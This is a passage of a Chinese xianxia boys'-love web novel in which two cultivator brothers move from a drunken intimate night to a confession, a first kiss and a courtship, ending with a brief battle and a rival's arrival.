许清浔拿他没办法,只好一边行正事,一边任跟踪,他忽然意识到,这会不会不是对方第一天偷偷跟踪他? 不是吧!许清浔汗流浃背,他可是有许多“不为人知”的秘密啊,要是都被祁桓知道了,那还得了? 深夜,他去了一个客栈,买上最好的酒,定了最好的房,位于客栈之顶,可览整个界域。 帘幕随风飘动,风铃之声清脆悦耳。 许清浔随性而坐,抬头托腮,双眸微眯。李梦好说的果然没错,这里的景最是宏美。 他低眸望去,恰好看见一些相伴而行的情侣,他们有说有笑,有人积极主动,有人腼腆被动,不同性格的人……爱人的方式也不同。 对于恋爱,他有时候有所向往,有时候却觉得遥远,他从未想过这种事,也从未积极追求过任何人。 恋爱对他来说……总觉得又陌生又遥远。 所以,察觉到那个男人的心情时,他才会那么不知所措,甚至为了掩饰内心的动摇,理性先行。 “情感之事,比修炼复杂多了。你说是吗,师弟。”他突然开口,并未看着谁,但话音刚落,他身后的屏风显现出了一道颀长的身影。 “师兄。”对方回答,声音听不出喜怒哀愁。 许清浔意外又不意外,侧过首,摇着酒杯问道:“师弟,你冷静好了吗,可以乖乖回到我身边了吗。” 男人闻言愣了一愣,似乎想不到他会这么霸道。 自己岂是说回就回的。 可下一刻,他的身体已经走出了屏风,仿佛“听师兄的话”是他刻入道体的一种本能。 许清浔眨眼一笑,顾盼生辉,嫣红的唇在夜明珠的照耀上更显鲜艳。 “来,坐过来。”他向祁桓招了招手,不知是不是因为醉了些,行事比平日更加放浪。 祁桓顿了顿,还真走向了许清浔。他本不想坐下,却被许清浔突然抱住了腰,只好顺势坐下,让呼吸间全是那个人的兰香与酒味。 “我说……”青衣修士突然凑近来,脸贴着对方的脖颈,吐着气道:“为何你是躲避的那个?” 祁桓不吭声,也没有看许清浔的眼睛,气质清冷而疏离,宛若天上明月。 这副正经、禁欲的模样——总是让许清浔心痒不止。 许清浔微怒,“你个笨蛋,喜欢人为何不告白,也不主动追,闷着好玩吗?憋着痛快吗?” 祁桓一顿,居然低下了头,语气中带着反省,“是,可是正如他们所说,我……不过是一个只会杀人的屠夫,我虽爱你,却不懂怎么爱,怎么得到你的爱。”说着,他竟认真讨教起来,双眸定定地望着许清浔,郑重求教道:“师兄,我该怎么做?” 许清浔傻了眼,一时语塞,饮了口酒才道:“你这笨蛋,哪有问本人的?” 祁桓沉默,似乎十分困恼。 许清浔心一软,问道:“你就不会观察别人怎么做吗?” 祁桓即答:“但别人不是师兄。” 许清浔心脏猛跳,又一阵傻眼,心想这小子到底是个古板呆子,还是其实是个情话天才? 他又喝了一口酒,任由热流遍布全身,道:“行吧行吧,你说的对,言归正传,追……自然是做令我开心的事呀。” 祁桓微微蹙眉,脸色有些阴晴不定,眼神中带着几分幽怨。 仿佛在说,我难道不是一直以来都在做吗。 许清浔眨了眨眼,哈哈一笑,“不是那种,你个笨蛋,就不能再想想?” 他绝对是酒喝多了,此时脸色一片霞红,举动也更加放浪,他毫不顾忌地搭肩环腰,紧贴着身边人,玩味地补充道:“亦或者是,令我们都开心的事?” 祁桓一愣,瞬间浑身紧绷。 他绝对不晓得,他越是正经,许清浔越是来劲。 因为本质上,许清浔心里就有一部分爱捉弄这个傻乎乎的男人,特别是喝酒上头,半分顾虑都没有的情况下。 许清浔忽地贴耳轻笑,令身边之人不由一颤,接着抬手轻抚对方的唇,说:“比如说,用它?” 祁桓瞳孔顿缩,理智的弦刹时尽数断裂,以至于没分清对方指的是唇,还是口。 第57章 第五十七章 明明很舒服…… 风铃随风摇曳, 声响清脆而悦耳。 侧榻微微摇晃,发出了不太自然的声音,并非因为两个人的体重,而是因为动作些许激烈, 以他们随手崩坏一栋高楼的肉身力量, 要小心不搞坏身下的床榻, 并不是一件容易的事,尤其是……在双双几乎丧失理智的情况下。 “……” 许清浔缓缓回过神,眼神中带着醉意,还有些许迷茫, 似乎不记得方才发生什么了, 沉默良久才想起来, 然后双眸的焦距渐渐回归, 面色涨红如霞,明显又羞又怒,再然后抬起眸,死死地盯着那个放肆的男人。 眼前的景象超出了他的理解范围, 吓得他浑身一颤,头皮发麻。 他、他虽说了——要做令他们都开心的事,但没有说是这个啊! 不,不对,最重要的是……我为何允许了? 许清浔一愣,目光颤抖地看着对方的唇, 随后突然缩退,当即收拢道袍,准备翻身走人。 然而,对方却抓住他的手腕, 控住他的腰,将他强行拉回。 “你……” 许清浔傻了眼,猝不及防地对上了一双幽深的眸子。 男人眼帘低垂,微微地眨了一下,下眼线美而凌厉,有种直击人心的震慑力。 许清浔当即一怔,控制不住的心悸。 而那个男人眼里仿佛闪过一丝委屈,低声道:“不是师兄说的吗。” 许清浔睁大眼睛,下意识道:“我说的?” “……”祁桓沉默了,眼神更显幽怨,“而且,师兄明明很喜欢。” 许清浔再次傻眼,方才卡掉的记忆瞬间复苏,脸色肉眼可见地涨红起来,“我、你……你这……” 他半晌说不出什么,或是觉得此时的气氛太尴尬了,终于忍不住使用神通落荒而逃。 而对方……眼睁睁地放过了他。 半个时辰后,顶楼一片安寂。 祁桓低着眸,“我做错了吗,当时师兄说的是前者,而不是后者吗,虽然明明很舒服……” 他不明白,关于他师兄的事,他还有许多的不明白。 不过,他忽然勾唇一笑,心想,来日方长,迟早都会明白的。 人的无意识反应不会说谎,醉酒的师兄往往会说出心底话,那种喜欢,绝对不会有假。 他似乎学习到了什么,双眸一亮,闪过一丝前所未见的求知冲动。 若是许清浔亲眼目睹到,还真不知会作何反应。 次日早上,法府一片安静。 许清浔窝在修炼室内,整个人裂了又裂,他想起了昨日醉酒之后的完整经过,简直坐立难安。修士的记忆力何其可恨,偏偏每一个细节都记得一清二楚,不论是他的,还是对方的。 救命!!! “我的师弟啊,你是笨蛋吗,这也能理解错?还是说你……其实是肉食系?但、但也不能什么都吃啊,你个呆子,到底是从哪里学到的!” “等等,不管是不是,这都不对吧!” 许清浔面色大变,好像第一天认识祁桓,要知道,在此之前,对方在他的认知里可是一个禁欲呆子,天知道怎么会草食系突变肉食系,吓惨了他。 “不,他的问题还是其次,真正的问题是我吧。” “醉了归醉了,但我不是男同啊,怎么可能……怎么可能啊!” 许清浔面色又青又白,最终转为熟红,仿佛一颗红透的大苹果,甚至灵力也开始紊乱起来,无数法符从他的袖口涌出,如同躁动的河流一般,转瞬间填满了整个空间,景象惊人。 说实话,他以后还能直视祁桓吗?怕不是一见到对方就会想起昨日发生的一幕幕。 其实之前在玄衍秘境发生的事就很……这次居然还能更炸裂,我到底在干什么啊!虽说是醉了,但谁发酒疯会发成这样啊! 真是要疯了! 暴乱的法符流中,青衣修士几乎埋在了法符堆里,双手捧脸,不敢露出自己的双眸,好久了都没有别的动静,整个人好似石化了一般。 众多难以置信中,他最难以置信的是……当时的自己居然笑了,好似从未对祁桓如此满意。 为何? 他顿了顿,竟从自己的心中挖出了某种黑暗的念头。他从未清晰地有过这种念头,可是记忆中的“自己”却将其无比清楚地暴露了出来。 他似乎,很喜欢看到那个男人伏倒在他之下。甚至更黑暗一点地说,他似乎很喜欢让那个男人服侍他。 ——想要那个本应毁天灭地、万古独尊的主角,成为他的东西,他的战利品。 ——他因为那样,他会很有成就感,乃至一种说不出的快.感,仿佛赢到了整个世界。 许清浔瞳孔一震,明显被自己的黑暗想法震惊到了。等等,你是认真的吗?你居然对师弟有这种想法! “难道……变态竟是我自己?!” 许清浔傻了眼,更加羞愤得无地自容,可是再怎么否认,记忆都已经无法抹除,只能承认,承认他的内心中确实存在这么一个邪恶的自我。 “……要命,这下要带坏他了,我明明大多数时候都是纯爱党啊!万一他以后都被带坏了怎么办?可是我当时那个反应,要说没有沉迷其中,我自己都不信啊。” “虽然我还没有和他发展成情侣的打算,但就算有吧,我要的也是健全的交往啊,怎么一开始就是如此变态的展开?” 许清浔低声默念,回过神才发现,此时的法府内全是他的法符,随手一掏都是一叠叠。 “只好收拾一下了。” 他这一冷静就是半个月,外面都开始传闻万法在闭关,不过与此同时,众人也十分好奇,为何这些天屠夫都没有跟在万法身边,两人……似乎很久没有一起出现了。 “你说屠夫?我上次见过他,是在一座古迹里吧,感觉他心情不是很好。” “是因为万法不在身边吧?也就万法在的时候,他才有好脸色。” “快闭嘴,他看过来了!” 闲聊的几个人瞬间消失无踪,毕竟八卦虽好,但还是命更重要。 黑衣修士远远望着天边,眸色暗了暗。良久,他低下眸,“或许,我是错了。”话音刚落,他皱了皱眉,似乎终于有了紧迫感。 不久后,他消去身影,无人知道他去了哪里。 几乎同时,许清浔冷静期结束,似乎终于想开了。人无完人,或许,那只是一时冲动。谁没有过呢,再者说,师弟长得如此好看,他当时搞不好是被色迷了眼。 “哈哈,没错没错。” 他大大方方地走出门去,仰天大笑,何其磊落,然而下一瞬,他面色顿变,好似察觉到了谁的视线,当即往某个方向看去。 那里是深林,一片黑暗,没有任何人的身影,但他怎么可能认不出,那绝对是他家师弟的视线啊。 好小子,不过来,就喜欢暗中盯人是吧。 许清浔后背冷汗滴落,他不知道祁桓是怎么想的,也不太敢想,此时此刻……先出门吧!他佯作坦荡地走了,一天之内跑了好几个古迹,行动极其迅速,然而……始终甩不掉身后的视线。 他仿佛能够想象到对方的眼神,参杂着愤怒、幽怨,还有深不见底的执恋。 没有人能抵挡得住那种眼神,至少,他觉得他不行,一旦撞进对方的眼睛里,他总是……控制不住地心悸。 这难道是所谓的男同心理? 许清浔想着想着,突然心道不妙,“坏了,我要成男同了?” 他猛然摇头,激动道:“我绝不是男同,退一万步说,就算是,我也得是上面的啊!” 等等,怎么就退一万步了? 许清浔内心悚然,被自己吓了一大跳。 或、或许是对方的视线的错,他也不晓得怎么就发展成这样了,总之不行,先跑路! 片刻之后,黑衣修士站在青衣修士刚刚所在的位置上,皱了皱眉。 他在思考,对方是真心抗拒自己,还是…… “不会的。” 话音未落,他又消去了身影。 一日过后,某个古迹里,法符一层层展开,自上往下地看去,只见星星点点,周旋如宇,形成了玄奥而巨大的阵纹。 这世上,或许只有一个人会这样玩法符。 而此时此刻,他正在以此逃避一个男人的追踪。 “我是说了要追,但你也别真追啊。”青衣修士轻声低语,他也快搞不懂自己了,居然在这样的“玩耍”中体会到了几分乐趣。 毕竟,这也是一种斗法。 他的符法与对方的感知法,正在激烈地斗着。 一方出题,一方解题,居然在很神奇的地方心有灵犀,总是能最快地理解对方的手段。 斗到最后,许清浔累了,最终举手投降,放弃了屏蔽阵法的推进。 片刻之后,通向洞中法府的通道上,缓缓地显出了一道颀长的身影。 青衣修士独坐台上,眼神透着无奈而纵容,“你还是找到了。” “……” 黑衣修士抬起双眸,对于他那位捉摸不定的爱人,他有时候真不知该如何是好。 只见,青衣修士又像上次一样,笑着招了招手,“来,坐过来。” 黑衣修士按兵不动。 许清浔见他杵着,突然老脸一红,不知想到什么,认真道:“别怕,师兄今日没有醉酒。” 黑衣修士终于动了。 见对方老实听话,当真坐在了他身边,许清浔终于松了一口气,随后忍不住靠在耳边,问道:“师弟,说真的,你那是从哪学的?” 第58章 第五十八章 师兄,我心悦你 “在哪学的……”祁桓一愣, 目光幽幽地盯着许清浔。 许清浔眨了眨眼,一脸的无辜与灿烂,还接着问道:“莫非是看了什么书?” 祁桓面色微红,好似被说中了, 当即转移话题, “师兄为何躲我。” 许清浔一笑, “那没什么,我现在已经想开了。再者说,我需要你,你得在我身边。” 祁桓眼神顿变, 似乎掠过了一抹喜悦, 却一本正经道:“我知道, 师兄另有目的。” 许清浔呆了呆。 既然对方已经察觉到了, 那他也没有隐瞒的必要了,虽然……实情当然还不能暴露。 他想了想,“那是一部分原因,但不是主要原因, 我的性子你不了解吗,我真心讨厌的东西,怎会一直留在身边?” 祁桓没有太大反应,继续道:“而且,师兄似乎知道我的过去。” 许清浔神色变了。他当然知道,而且知道的比祁桓想象的还要详细。他沉默了片刻, 目光落在道袍上的云月纹,最终点了点头,“是,关于你的事, 我可知道太多了。你若是生气我一直瞒着你,乃至无法原谅我,我都能理解。” 祁桓看着他的表情变化,问道:“如此说来,师兄一开始如何看待我。” “这个嘛。”许清浔不好意思地干笑一声,侧头道:“其实是对你有些不太好的心思。” 祁桓皱了皱眉,“所以当时天天捉弄我吗。” “哪有哪有!”许清浔有些激动,连忙解释道:“我也是真心想培养你啊,再说了,全宗门都知道我对你好,我对你之心日月可鉴啊。” 祁桓不否认,但眼神依然很凌厉,带着几分审判的意味,仿佛正在仔细琢磨许清浔的说法。 许清浔感到了压力,但内心自然理直气壮,他可是受天道委托来这个世界的! 主角将来要毁天灭地怎么办?若是正常人,肯定会想趁早杀了他,以绝后患。但他从来没有这种想法,选择的也是最费时费力费心费神的“养成纠正”法。试问,几个人能做到像他这样有耐心啊! 有些坏心思他无法否认,但这不是全部,再说了! 许清浔忽然挑了挑眉,凑近祁桓的脸,问道:“我虽有不是,但你难道就完全清白?” 祁桓一怔,瞳孔微微收缩。 看他神色不对,许清浔更加得理,抬手轻戳对方的脸颊,“我就说吧,你也有问题,瞒着师兄偷偷修魔这么多年,师兄还没找你麻烦,你反而算起师兄的账了,臭小子。” 祁桓眼帘低垂,盯着那截白而纤细的手指,并未阻止对方的过分接触。 “但也不能算作扯平。” “为何?” “师兄隐瞒的更多。” 闻言,许清浔不禁大笑,许久没有笑得如此开怀了,他拍了拍祁桓,道:“好吧好吧,确实师兄更多不是,但你小子说实话,当真没有偷偷占过师兄便宜?” 祁桓似乎非常不满,居然道:“正相反才是。” 许清浔一呆,很快想到了什么,他才是天天调戏祁桓的那个人啊! 过去劣迹斑斑,罄竹难书,他只好低下头,轻声道:“那师兄也不是所有人都调戏的,你不一样。” 祁桓愣了愣,唇线不自觉地上扬。他似乎很清楚他在许清浔心中的地位,只是……他也知道,许清浔对他再好,内心也没有与他结为侣的打算。 动作越是坦荡,越是不在乎亲密接触,越是能说明问题。可是,他也不知该如何开口、如何争取…… 人之心意,不像物品,想夺就夺,过分霸道,只会适得其反。 许清浔发现祁桓沉默下来,目光定定地盯着自己,神色渐渐阴郁。他不觉挠了挠脸,问道:“怎么了?” 两人坐得很近,随手便能触及彼此,在旁看来,关系何其之亲密。 祁桓内心深吸了一口气,突然转身正对许清浔,郑重其事道:“师兄,我心悦你,想与你结为道侣,你愿意吗。” 竟是突如其来的大直球! 许清浔傻了眼,不知所措,而祁桓说完,便一脸肃然地等待着他的回答,好像在等一场生死判决。 许清浔无法想象对方突然的告白在心里费了多大的勇气,他这个师弟挑战强者可以面不改色,但是在一些人际之事上,却总是那么笨拙。 你小子,早这么说不就好了。许清浔不禁有些欣慰,感慨于对方的进步。 不过……他坦然一笑,道:“很好,但师兄还不愿意。” 祁桓似乎不意外这个回答,但当真听到答复后,他还是不由颤了颤,双拳紧握,脸色沉得可怕。 许清浔当即补充道:“不是你的原因,是我的原因,我还没有跟人谈恋爱的打算,更何况对象还是你。” 祁桓仿佛中了一箭,幽幽道:“为何不,明明‘侣’是地法财侣之一,很多修士都有侣。” 他像在跟许清浔讨论严肃的修炼问题,态度十分板正。 许清浔想了想才道:“我明白,但……总觉得哪里怪怪的?”别看他以前总喜欢贴着祁桓调戏,但这是因为他们是师兄弟,若是情侣之间做这种事,总觉得哪里变了味。当然,或许还有他的直男心作祟。再怎么说,祁桓可是硬邦邦的男人啊。 可是此时,那个男人居然逼近了他,认真讨教道:“哪里怪?” 突然的美颜暴击险些让许清浔晃了眼,他连忙转过头去,下意识地挑了一个原因,“当然因为你是男人啊!再说了,当年信誓旦旦说不喜欢男人的也是你啊,这才几年,你就不记得了吗?” 男人似乎愣了一下,良久才低下头,闷声道:“当年的话不算数,人是会变的。” 许清浔顿时一个激灵,因为这句话莫名贴了《醒红尘》的主旨。 “变了吗。”他呐呐地低语。 “是。”祁桓罕见地十分坦然,仿佛破罐子破摔,再也没必要隐瞒了,他突然轻按许清浔的肩膀,强迫对方看着他的眼睛,语气带着请求,甚至好似还夹杂着几分委屈,“师兄,男人真的不行吗?明明都是人,男人又如何?” 许清浔愣了神,有那么一瞬间,他好像心头漏了一拍,尤其是看到对方显露出了委屈,这是第一次,可哪怕只是一瞬,他的心都软了,好似万般柔情涌上心头,下意识地同意了对方的话。 是啊,男人又如何,自家师弟条件那么好,除了修魔、偶尔性情不稳定之外,就几乎没有缺点了。 为何就不能谈谈呢?许清浔忽然控制不住心动,脑子里两个小人疯狂打斗,互不相让。 法府内陷入了沉默。 一人思考着,一人等待着,各有各的焦虑之事。 青衣修士目光低落,唇线抿得笔直,好似十分紧张,好几次偷瞄黑衣修士,却在对方即将转过头之前立刻收回视线,仿佛惊弓之鸟,目光闪烁。 黑衣修士沉默不语,整个人的气质竟转变沉静,不怒而威,颇有一种若是对方不同意,他就会做出什么可怕之事的危险预兆。 忽然有一阵风自外吹来,吹动了他们的道袍。 青衣修士的长发微微垂动,像丝绸散落,令静美的画面多了一分飘逸感。 片刻之后,许清浔面色烧红,微微蹙眉,低头着问:“但说真的,你到底是何时有了这种想法,你之前……不是很不喜欢师兄吗?” 这个问题他其实一直很好奇,但总是拿捏不准,或许是因为他平日粗心大意吧,他真的完全捕捉不到祁桓转变的关键点,感觉之前一直都很冷漠啊,怎么会突然间……转变成了爱情。 也许情感之事不应如此刨根问底,追求合理性,但对他来说,一件事情若是得不到合理的解释,他就无法坦然接受。 总要一个顺理成章吧?他抬起头,眼里透着几分执着,“能告诉师兄,你到底是怎么想的吗?” 祁桓似乎明白了他的纠结,沉默片刻才缓缓开口,“此事,说来话长。” “你慢慢说,我听着呢。”许清浔十分认真,“今儿师兄不修炼,也不炼法符,只陪你!” “……好。” 祁桓垂眸,深吸了一口气。 不久后,法符内响起一道道激动的声音。 “什么,你小子偷偷跟踪我?难怪我感觉你很熟练……等等,那岂不是我的老底都被你看光了吗?可恶啊你个跟踪狂!” “天魔池的时候你居然是这么想我的?难怪啊,我当时就觉得你的眼神不对劲。” “不对,仔细一想,女装一事也是你的蓄谋?臭小子,聪明才智尽用在整师兄身上了是吧,我喊你夫君你是不是心里爽死了?” “你还敢承认,坦白之后你小子一夜之间胆子都肥了啊。” 许清浔大声控诉,不知捶了身边男人多少拳,气得满脸通红,偏偏还无法做什么。许久之后,他的情绪才逐渐稳定下来,愤怒、明怨、震惊、无措等等复杂情绪参杂在心头,一言难以明尽。 与此同时,坦白之后,祁桓虽表面平静,但心里其实如释重负,也更加……明白了自己的心情。 他喜欢师兄,从很早以前就开始喜欢了,一开始只是一种精神的吸引,后来被对方的行事为人所震撼,好奇心、探究心不断变质,不知不觉间便彻底移不开视线。 对方仿佛是他的心中日,令他曾经幽暗的世界重获光亮。 师兄必须是他的,不能让任何人夺走,哪怕……是师兄自己。想到这里,他心中忽然爆发出了一股极其强烈的占有欲,几乎要控制不住自己的冲动。 好在,许清浔先理清了思绪,恍然抬头,“原来如此,我明白了。” “那师兄……感觉如何,能接受我吗。”祁桓低语,声音略显沙哑,有种说不出的磁性。 不过,这句话听上去不像提问,而像是威胁。 许清浔没注意到他语气的微妙,歪了歪头,显得有些为难。 空气仿佛被瞬间抽空了。祁桓屏息,眼神逐渐危险。 而许清浔轻轻眨眼,面色泛红,突然凑近了几分,几缕发丝垂落,令祁桓闻到了一股淡雅的兰香。 他似乎在寻思,未尝不能试试,反正不会有什么损失,即便不成,不还能……分了吗? 如此一想,他瞬间释然,又想到先确认一下心情。 接着,青衣修士上身微倾,薄而柔软的唇缓缓地贴近对方,带着几分试探、犹豫。 而这对于那个满心爱欲的男人来说,无异于赤.裸裸的引诱。 第59章 第五十九章 亲人还是吃人? 许清浔慢而仔细地尝着, 似乎在确认自己是否反感,毕竟再怎么说,有意识地跟人接吻,这还是第一次。而事实证明, 好像……并没有什么反感, 甚至觉得……怪有趣的。 因为, 对面那个男人浑身僵硬,仿佛石化了一般,一动不动,连呼吸都停止了。 这是在震惊, 还是在紧张? 抑或是, 害羞? 许清浔心中琢磨着, 忽然一笑, 上身更加贴近,同时左手绕到后方,搂住了对方硬挺的腰。 他常作这种心血来潮之事,完全不考虑后果, 有时候自己也不明白为什么,只是觉得……只要当下的自己开心就好。 再者说,对方的反应属实有趣,他从没见过对方如此僵硬。 太有意思了,他起了玩心,故意地搂紧了对方的腰, 让那片过分坚实有料的胸腹贴紧自己。 这下,连同心跳声都格外清晰,能够感觉到——那股强而有力的鼓动。 好家伙,许清浔面色不变, 但内心十分震惊。 话说回来,这就是与人接吻的感觉吗?虽然有些微妙,但想到对方是祁桓,莫名又觉得可以接受。再说了,祁桓一个洁癖的男人愿意跟人做如此亲密的事,本就是很爱—— 他还没想完,突然心跳一滞,猝不及防地被对方压倒,还未来得及反应,便被按着索取,呼吸不由自主地加快,身为修士分明不需要氧气,却还是本能地喘起气了,面色涨红如霞,渐渐地感到吃力,好像不小心招惹到了一头猛兽,被按着啃食,怎么也推不开,只好乖乖地承受着。 心跳被迫加快,好似打雷一样,脑子轰轰的,意识都险些断片了。 他好几次想说什么,但对方完全不给他机会,像一头永远不会餍足的贪兽,好不容易捕捉到垂涎已久的猎物,不吃到骨子里,怎么可能说停就停。 “师、哈啊……师弟你……” 青衣修士面色通红,不知是因为羞耻还是愤怒,浅色的眼眸泛起了几分迷乱,过了好一会儿,才终于恢复清明,当即运起灵力,强行将人推开,拉开了一定距离。 而此时,他依然躺在下方,抬起眸子,只见那头“贪兽”满是幽怨地盯着他,深色的眸子透着几分猩红的光,甚是吓人,还丝毫没有餍足的样子。 他回过神,佯作愤怒地说:“你小子干什么,是要亲人还是吃人?” 听到自己的声音不自然的微哑,许清浔面色更红,仿佛事到如今才意识到自己刚才遭遇了什么。 “……明明是师兄邀请的。” 黑衣修士蹙了蹙眉,良久才肯翻身坐下,虽然还是一副不太开心的样子。 许清浔终于得以起身,见他闷闷不乐,凑近道:“师兄都给你亲了,你咋还不高兴?” 祁桓一愣,似乎才意识到。 “不要操之过急嘛。”许清浔不动声色地擦了擦唇。 祁桓余光捕捉到这个动作,眼神微深。 “师兄突然这般,是何意。” “什么何意?” “……你不是拒绝了吗。” 闻言,许清浔忍不住笑了,身体稍稍后仰,一边手拍了拍腿。 祁桓眉头蹙得更深。 “好啦,你别生气。”许清浔终于收起笑意,转头道:“我虽说了不愿意,但那是因为你一告白就要结为道侣呀。” 祁桓顿了顿,认真讨问道:“这不对吗。” “诚意是很充足,但谁是说成婚就成婚的?”许清浔反问,颇有耐心地引导着。 祁桓呆住,呐呐道:“不是吗。” 许清浔当即敲了他的脑袋,微怒道:“当然不是啊,在我那,成婚之前通常要谈一段时间的!” “谈?”祁桓仍旧一脸疑惑。 许清浔真是拿自家师弟没办法,说他保守吧,他又一下子奔着结婚来,说他不保守吧,又天天闷着。 “谈自然是谈恋爱啊!”许清浔只好耐心解释,“就是确认彼此心意,互相考察对方是不是值得托付终身的人。” 祁桓瞳孔微缩,好似恍然大悟,片刻之后,他突然郑重道:“我已经考察完了。” 许清浔目瞪口呆,良久才反应过来,面色微微泛红,忽然转过头,不知在念着什么。 祁桓听不清,只好默默倾耳。 许清浔猛然起身,中气十足地道:“好了,事情已经搞定了,咱们出去透透气吧!” 祁桓目光追着他,表情显然不明白。 “师兄究竟是什么意思。” 许清浔动作一僵,好似有些羞耻,片刻才道:“你小子到底要师兄说得多明白才行?我的意思……当然是同意你做恋人了!” 祁桓原地呆住,睁大双眸,控制不住露出了喜色。 许清浔赶紧强调,“是恋人不是道侣,你晓得吗?” 那个男人不知晓没晓得,罕见地真情流露,露出了冰雪初融般的笑容。 好、好凶残的画面! 许清浔瞪大眼睛,如遭万箭穿心,赶紧移开视线,匆促地说:“这些天我俩离开久了,外边的人都传闻说我们决裂了,还不得出去给他们看看?” 男人愣了一下,连忙答道:“是。” 许清浔扫他一眼,转头便走,而男人赶紧地跟了上来,不快不慢,维持着慢许清浔半步的距离。 这家伙似乎开始思考可以讨好自己的事情了,许清浔微微一笑,眼里透着几分满意,但转而又在心里提醒自己,再怎么说,这家伙可是“主角”啊,还在背后偷偷修魔…… “等下师弟,你能驾驭住《灭世魔经》吧?” “能。” “真的能吗?” “嗯。” 黑衣修士认真点头,语气肃然,像在用命承诺。 许清浔眨了眨眼,似乎又满意了,突然又问:“对了,那经魔没有说我坏话吧?” 祁桓一顿,目光略微偏移。 只见,一股浑浊的雾状黑团仿佛炸开了一样,大叫道:“我就说他知道我的存在吧!他深不可测,一直在设计你、糊弄你!肯定玩完你就会甩了你,别不信,我都懂!” 祁桓并不理会,转头报告给许清浔,“是说了一些你的坏话,它常常如此,我早已习惯。” 许清浔挑了挑眉,目光投向祁桓刚刚看的位置,若有所思地轻抚下巴,道:“是吗,它不是什么好东西,它说的话你无视就行,不要受它蛊惑。” “是。”祁桓几乎是即答。 经魔见状简直要气死,这家伙八字都没一撇,就一副唯媳妇之命是从的态势了,未免太好拿捏了吧。 它幽幽道:“越是卑微,人家越不把你当回事!” 说话时,许清浔心血来潮,忽地牵住祁桓的手,理所当然地道:“走吧!” “好。”- 另一方,天倾城内与昔日不同,今日的街道格外安静,几乎没有修士走动。 是因为城里无人吗,并非。 是因为……杀气太重了。 两片“莲叶”交叠,双方修士碰面,高手先出马,战慑对方人马。 这种情况下,没有人敢到处乱跑,万一不小心被战斗波及,那可是要命的。 不过,明显天倾城的“原住民”修士属于劣势,他们之中已经有不少人见血,而与之对比,对面毫发无伤,游刃有余,甚至面带微笑,不时放出几声嘲讽。 “看来尔等也不过如此。” “说谁不过如此,我们这边的强者都没来呢!” “狗叫,若是有,为何还藏着不出,嘴硬罢了,一群废物!” “滚!要是万法来了,尔等必会后悔!” 闻言,黄袍修士大笑出声,“万法是谁?听都没听过,他若是来了,我定要他死——” 话未说完,黄袍修士突然面色大变,眼睛瞪得滚圆,他冷汗自鬓边低落,砸到了一柄长刀。那刀正横在他的脖颈前,随时可能切断他的脖颈。 他的道体千锤百炼,强大无匹,自信在金丹境界内,绝对无人能破,但是此时此刻,他却也无比肯定,这柄刀绝对能够杀死他。 它甚至,动了! 众人只见,刚才正耀武扬威的黄袍修士被突然现身的屠夫一刀砍到后退几十里,满头大汗,眼露惊惧。 屠、屠夫出现了! 与此同时,一道青色的身影停落虚空,飞雪般的白发随风而散,身后漂浮着数十张金纸红字的法符,凛然如天神下凡。 万法也出现了,是跟屠夫一起出现的吗! 众人瞪大眼睛,心情莫名的激动。 只见远方几道刀光划破苍穹,伴随着一道凄厉的叫喊声。 似乎,已经解决了? 屠夫手起刀落,然后就没事了?不愧是他! 众人一副果然如此的表情,虽然九界大炼是你死我活的竞争场,但当对方的实力远远超过自己时,真的很难产生敌意,会不由自主地觉得,自己不配。 他们一阵感慨。 接着,他们又看见,屠夫收刀之后,突然消去身形,出现在了青衣修士身前。 这些天里,天倾城都在流传屠夫和万法貌似不和的说法,似乎传闻终于得到了证实的机会。 若是不和,他们见面不会打起来吧。 若真打起来,天倾城会不会转眼毁灭啊。 然而,出乎众人预料的是,两人之间的气氛竟异常祥和。 “干得好!不愧是我师弟。” “嗯。” 一赞一应,格外自然。 万法似乎心情极好,肉眼可见的灿烂。 他本就长相极美,一笑起来更是不得了,好似整个风景都跟着灿烂了,令人如逢春日,豁然开朗。 但紧接着一道凶恶的目光扫过,众人当即汗流浃背,连忙转移视线。 怎么回事,屠夫的眼神好像要屠杀了他们啊。 而青衣修士只是轻笑了一声,“好了,我们走吧,你别吓唬他们了。” 众人如见救星,内心无比感激。 黑衣修士这才收敛冷气,对青衣修士微微点头。 接着,众目睽睽之下,青衣修士挽过黑衣修士的手,消失在众人眼下。 “……” “这是……” 姬舞明一脸惊愕,喃喃自语道:“他们的关系……不对劲啊。” 李梦好突然显出身形,“什么不对劲,我看很对劲。” 姬舞明呆住,转头看向李梦好。他知道,李梦好来自合欢宗。 “何出此言?” 李梦好抬起头,一副洞悉了一切的表情,“那是在广而宣之啊。” 姬舞明更加目瞪口呆- 另一方,两人如同旅游般巡遍了小洞天内的所有古迹,最终停在了一处边界。 那里天高海阔,海不是海,而是一种虚景,由灵力编织而成,但十分逼真,还有阵阵海风。 “这些天光想着你的事,差点忘了,这片莲叶将要掉落了。” “后面会有什么。” “更凶险一些,不过问题不大,我们在一起,谁能打得过?” 许清浔自信满满,然而祁桓一眼便看出,他的自信中有几分担忧,仿佛九界大炼的尽头,有着他十分忌惮的事物。 “不管那是什么……” 祁桓话音未落,已经牵住了许清浔的手,身后的剑匣微微晃动,无言之中给到恋人极大的安全感。 许清浔表面不动声色,似乎心跳漏了好几拍,不禁偷瞄了祁桓一眼。 他不该喜欢男人才对,更何况对方还是“祁桓”,他本该极其讨厌的主角,但是为何会变成这样呢。 他目光缓缓下移,看着他们交握的手,忽然发现了一件事——其实男人的手握起来也柔软。 嗯,对了,还有一件事。 他又抬起视线,扫过了男人的脸,心想,其实男人的唇也是柔软的,就是这家伙吻起来太饿狼扑食了一些。 啊,话说回来,自己之前好像一直以为自家师弟禁欲来着,事实上呢? 许清浔仿佛想到什么,目光垂落,若有所思,随后突然面色大变。 “师兄怎么了。”祁桓侧首。 许清浔即答:“没什么!”可是说完,他立即移开了视线。 祁桓沉默不语,突然明白了,这是在考察! 第60章 第六十章 干倒师兄 两人心照不宣, 各怀心思。 忽然,许清浔仿佛感知到了什么,转头看向远处的森林。 一道笑声远远传来,伴随着一股冲天的烈火。 “不愧是万法, 果然瞒不了你的眼睛。”红衣男子边说边走出虚空, 他面色红润, 连头发都是火红色的,发丝似乎燃着火苗,体肤之外皆冒着火光,一看就是神通二次觉醒的高手。 祁桓皱了皱眉。 许清浔直道:“你是火神经的修炼者。” 火神洪大感意外, “这你都知道?” 许清浔不答。 火神经, 仅次于混沌古经的强大经书, 位列五行真经之一, 经中有灵,严选其主,在混沌古经的修炼者不现世的情况下,五行真经的修炼者通常就是这个时代的主角。 这些人开始现身, 也意味着真正的“斗法”即将开启。 火神洪一笑,“万法,你虽符法强大,但终究没有真法,后面的路,你注定无法跟我们竞争。” 许清浔笑而不语。 祁桓看了许清浔一眼, 若有所思。 